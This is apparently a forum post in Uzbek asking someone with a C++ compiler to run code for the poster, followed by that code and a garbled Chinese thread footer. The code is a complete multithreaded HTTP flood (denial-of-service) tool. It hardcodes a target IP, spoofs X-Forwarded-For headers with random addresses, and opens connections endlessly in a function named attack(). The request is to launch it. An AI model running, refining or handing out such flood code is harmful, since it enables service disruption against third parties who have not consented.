kimdadir C++ compiler bomi
bosa mashi kodni run qib berila , ozimda C++ ide yogidi
#include <iostream>
#include <thread>
#include <vector>
#include <atomic>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <chrono>
#include <random>
#include <cstring>
std::atomic<int> trys(0);
std::string target = "31.184.242.14";
int port = 80;
std::string generate_fake_ip() {
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(1, 254);
return std::to_string(dis(gen)) + "." + std::to_string(dis(gen)) + "." + std::to_string(dis(gen)) + "." + std::to_string(dis(gen));
}
void attack() {
while (true) {
try {
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
throw std::runtime_error("Failed to create socket");
}
sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
inet_pton(AF_INET, target.c_str(), &server_addr.sin_addr);
if (connect(sock, (sockaddr*)&server_addr, sizeof(server_addr)) == -1) {
close(sock);
throw std::runtime_error("Connection failed: " + std::string(strerror(errno)));
}
std::string request = "GET / HTTP/1.1\r\nHost: " + target + "\r\nX-Forwarded-For: " + generate_fake_ip() + "\r\n\r\n";
send(sock, request.c_str(), request.length(), 0);
close(sock);
++trys;
if (trys % 100 == 0) {
std::cout << "Attempts: " << trys << std::endl;
}
} catch (const std::exception &e) {
std::cerr << "Error: " << e.what() << std::endl;
}
}
}
int main(int argc, char *argv[]) {
if (argc != 4) {
std::cerr << "Usage: " << argv[0] << " <target_ip> <port> <number_of_threads>" << std::endl;
return 1;
}
target = argv[1];
port = std::stoi(argv[2]);
int num_threads = std::stoi(argv[3]);
std::vector<std::thread> threads;
for (int i = 0; i < num_threads; ++i) {
threads.emplace_back(attack);
}
for (auto &th : threads) {
th.join();
}
return 0;
}
讨论串kimdadir C++ compiler bomi
17 条消息 · –. #
# Z # Z Z # Z # Z
# Z 4 #